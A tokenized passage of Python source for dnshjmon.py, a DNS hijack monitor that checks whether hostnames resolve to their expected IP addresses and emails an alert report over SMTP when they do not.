"DNS", " ", "server", " ", "file", " ", "%", "s", "\"_", "%_", "dns", "server", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dns", "servers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "dns_", "(_", "dns", "configfile_", ",_", "mail", "configfile_", ",_", "dns", "servers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "all", " ", "record", "s", " ", "to", " ", "test_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "use", "OS", "DNS", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Run", "ning", " ", "DNS", " ", "check", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "dns", "servers_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "Us", "ing", " ", "%", "d", " ", "DNS", " ", "server", "(", "s", ")", " ", "for", " ", "querie", "s", ":\"_", "%_", "len_", "(_", "dns", "servers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", " ", " ", " ", "%", "s", "\"_", "%_", "dns", "servers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "OS", "DNS", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "Us", "ing", " ", "OS", " ", "DNS", " ", "configura", "tion", " ", "for", " ", "querie", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"\\\\", "r", "\\\\", "n", "Result", "s", ":\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"-------", "-\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tore", "port_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c", "DNS", "_", "=_", "DNS", "Config_", "(_", "dns", "configfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "scope_", ",_", "dns", "scope", "\\u", "short_", "=_", "c", "DNS", "_", "._", "get", "Config_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "cnt_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dns", "check_", "in_", "dns", "scope_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "extra", "msg_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "allr", "esult", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "use", "OS", "DNS", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "allr", "esult", "s_", "=_", "[_", "socket_", "._", "gethostbyname", "_", "(_", "dns", "check_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "dns_", "._", "resolver_", "._", "Resolver_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "._", "nameservers", "_", "=_", "dns", "servers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "data_", "=_", "r_", "._", "query_", "(_", "dns", "check_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rdata_", "in_", "dns", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "this", "result_", "=_", "rdata_", "._", "address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "this", "result_", "in_", "allr", "esult", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "allr", "esult", "s_", "._", "append_", "(_", "this", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "extra", "msg_", "=_", "\"(", "%", "s", ")", " ", "\"_", "%_", "allr", "esult", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "allr", "esult", "s_", "=_", "[_", "\"?", ".", "?", ".", "?", ".", "?", " ", "(", "una", "ble", " ", "to", " ", "resolve", ")\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "msg_", "=_", "\"(", "Error", " ", "look", "ing", " ", "up", " ", "IP", ")\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "site", "ok_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "this", "result_", "in_", "allr", "esult", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "this", "result_", "in_", "dns", "scope_", "[_", "dns", "check_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "site", "ok_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "msg_", "=_", "\"(", "%", "s", " ", ":", " ", "Record", " ", "manipulate", "d", "?)\"_", "%_", "allr", "esult", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tore", "port_", "._", "append_", "(_", "\"%", "s", ":", " ", "%", "s", " ", "resolve", "s", " ", "to", " ", "%", "s", ",", " ", "but", " ", "it", " ", "shou", "ld", " ", "be", " ", "%", "s", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "get", "Now_", "(_", ")_", ",_", "dns", "check_", ",_", "this", "result_", ",_", "dns", "scope", "\\u", "short_", "[_", "dns", "check_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"%", "d", ".", " ", "%", "s", " ", "-", " ", "check", " ", "OK", "?", " ", ":", " ", "%", "s", " ", "%", "s", "\"_", "%_", "(_", "dns", "cnt_", ",_", "dns", "check_", ",_", "str_", "(_", "site", "ok_", ")_", "._", "lower_", "(_", ")_", ",_", "extra", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "cnt_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Don", "e", " ", "checking", ",", " ", "tested", " ", "%", "d", " ", "sites", ",", " ", "reporte", "d", " ", "%", "d", " ", "IP", " ", "mismatche", "s", "\"_", "%_", "(_", "len_", "(_", "dns", "scope_", ")_", ",_", "len_", "(_", "tore", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "tore", "port_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"*\"_", "*_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"%", "d", " ", "DNS", " ", "record", "(", "s", ")", " ", "may", " ", "have", " ", "bee", "n", " ", "manipulate", "d", ":\"_", "%_", "len_", "(_", "tore", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mailbo", "dy_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "._", "append_", "(_", "\"", "Hi", ",\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "._", "append_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "._", "append_", "(_", "\"", "dns", "hj", "mon", ".", "py", " ", "has", " ", "detect", "ed", " ", "%", "d", " ", "DNS", " ", "resolu", "tion", " ", "issue", "s", ":\"_", "%_", "len_", "(_", "tore", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "._", "append_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tr_", "in_", "tore", "port_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mailbo", "dy_", "._", "append_", "(_", "tr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "tr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"*\"_", "*_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "._", "append_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "._", "append_", "(_", "\"", "Report", " ", "generat", "ed", " ", "with", " ", "dns", "hj", "mon", ".", "py", " ", "-", " ", "https", "://", "git", "hub", ".", "com", "/", "core", "lan", "/", "dns", "hj", "mon", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mail", "handler_", "=_", "Mail", "er_", "(_", "mail", "configfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mail", "handler_", "._", "sendmail_", "(_", "mailbo", "dy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mail", "Config_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "Config", "File_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "Creat", "ing", " ", "a", " ", "new", " ", "config", " ", "file", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "server_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "port_", "=_", "25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "timeout_", "=_", "300_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "auth_", "=_", "\"", "no", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "user_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "pass_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "from_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "to_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "tls_", "=_", "\"", "no", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "server_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "Enter", " ", "smt", "p", " ", "mail", " ", "server", " ", "IP", " ", "or", " ", "host", "name", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "i", "\\u", "server_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "port_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "Enter", " ", "mail", " ", "server", " ", "port", " ", "(", "default", ":", " ", "25", "):", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "str_", "(_", "i", "\\u", "port_", ")_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "i", "\\u", "port_", "=_", "int_", "(_", "i", "\\u", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "port_", "=_", "25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "from_", "=_", "raw", "\\u", "input_", "(_", "\"", " ", " ", " ", " ", ">", " ", "Enter", " ", "'", "Fro", "m", "'", " ", "email", " ", "address", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "i", "\\u", "from_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "to_", "=_", "raw", "\\u", "input_", "(_", "\"", " ", " ", " ", " ", ">", " ", "Enter", " ", "'", "To", "'", " ", "email", " ", "address", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "i", "\\u", "to_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "timeout_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "Enter", " ", "mail", " ", "server", " ", "timeo", "ut", " ", "(", "in", " ", "second", "s", ",", " ", "default", ":", " ", "300", "):", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "str_", "(_", "i", "\\u", "timeout_", ")_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "i", "\\u", "timeout_", "=_", "int_", "(_", "i", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "timeout_", "=_", "300_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "auth_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "Do", "es", " ", "server", " ", "require", " ", "authenticat", "ion", "?", " ", "(", "ye", "s", "/", "no", ",", " ", "default", ":", " ", "no", "):", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "auth_", "=_", "i", "\\u", "auth_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i", "\\u", "auth_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "auth_", "=_", "\"", "no", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i", "\\u", "auth_", "in_", "[_", "\"", "ye", "s", "\"_", ",_", "\"", "no", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i", "\\u", "auth_", "==_", "\"", "ye", "s", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "user_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "User", "name", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "i", "\\u", "user_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "pass_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "Passw", "ord", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "i", "\\u", "pass_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "tls_", "=_", "raw", "\\u", "input_", "(_", "'", " ", " ", " ", " ", ">", " ", "Do", "es", " ", "server", " ", "require", "/", "support", " ", "START", "TLS", " ", "?", " ", "(", "ye", "s", "/", "no", ",", " ", "default", ":", " ", "no", "):", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i", "\\u", "tls_", "=_", "i", "\\u", "tls_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i", "\\u", "tls_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "tls_", "=_", "\"", "no", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i", "\\u", "tls_", "in_", "[_", "\"", "ye", "s", "\"_", ",_", "\"", "no", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inits", "erver", "data_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "server", "=", "%", "s", "\"_", "%_", "i", "\\u", "server_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "port", "=", "%", "d", "\"_", "%_", "i", "\\u", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "from", "=", "%", "s", "\"_", "%_", "i", "\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "to", "=", "%", "s", "\"_", "%_", "i", "\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "timeo", "ut", "=", "%", "d", "\"_", "%_", "i", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "auth", "=", "%", "s", "\"_", "%_", "i", "\\u", "auth_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "user", "=", "%", "s", "\"_", "%_", "i", "\\u", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "pass", "=", "%", "s", "\"_", "%_", "i", "\\u", "pass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inits", "erver", "data_", "._", "append_", "(_", "\"", "tls", "=", "%", "s", "\"_", "%_", "i", "\\u", "tls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "server", "info_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "server", "info_", "[_", "i", "\\u", "server_", "]_", "=_", "inits", "erver", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "Config", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mail", "er_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sendmail_", "(_", "self_", ",_", "info_", ",_", "logfile_", "=_", "[_", "]_", ",_", "mails", "ub", "ject_", "=_", "\"", "DNS", " ", "Hi", "jack", " ", "Monitor", " ", "Alert", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "MIME", "Multipart", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "text_", "=_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "x_", "for_", "x_", "in_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logt", "ext_", "=_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "x_", "for_", "x_", "in_", "logfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mailbo", "dy_", "=_", "MIME", "Text_", "(_", "body", "text_", ",_", "'", "plain", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "._", "attach_", "(_", "mailbo", "dy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "[_", "'", "Sub", "ject", "'_", "]_", "=_", "'%", "s", " ", "-", " ", "%", "s", "'_", "%_", "(_", "gethostname_", "(_", ")_", ",_", "mails", "ub", "ject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "[_", "'", "Fro", "m", "'_", "]_", "=_", "self_", "._", "froma", "ddress", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "uncomm", "ent", " ", "the", " ", "next", " ", "line", " ", "if", " ", "you", " ", "don", "'", "t", " ", "want", " ", "return", " ", "receipt", "s_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "[_", "'", "Dispo", "sition", "-", "Notifi", "cation", "-", "To", "'_", "]_", "=_", "self_", "._", "froma", "ddress", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "[_", "'", "To", "'_", "]_", "=_", "self_", "._", "to_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "[_", "'", "X", "-", "Prior", "it", "y", "'_", "]_", "=_", "'", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "logfile_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "part_", "=_", "MIME", "Base_", "(_", "'", "applica", "tion", "'_", ",_", "\"", "oct", "et", "-", "stream", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "part_", "._", "set\\u", "payload_", "(_", "logt", "ext_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Encode", "rs_", "._", "encode", "\\u", "base64_", "(_", "part_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "part_", "._", "add", "\\u", "header_", "(_", "'", "Conten", "t", "-", "Dispo", "sition", "'_", ",_", "'", "attach", "ment", ";", " ", "filename", "=\"", "dns", "hj", "mon", ".", "txt", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "._", "attach_", "(_", "part_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "noe", "rror_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "this", "timeout_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "noe", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "Connect", "ing", " ", "to", " ", "%", "s", " ", "on", " ", "port", " ", "%", "d", "\"_", "%_", "(_", "self_", "._", "server_", ",_", "self_", "._", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "smtplib_", "._", "SMTP_", "(_", "self_", "._", "server_", ",_", "self_", "._", "port_", ",_", "'", "mini", "case", "'_", ",_", "self_", "._", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Connect", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "uset", "ls_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"[", 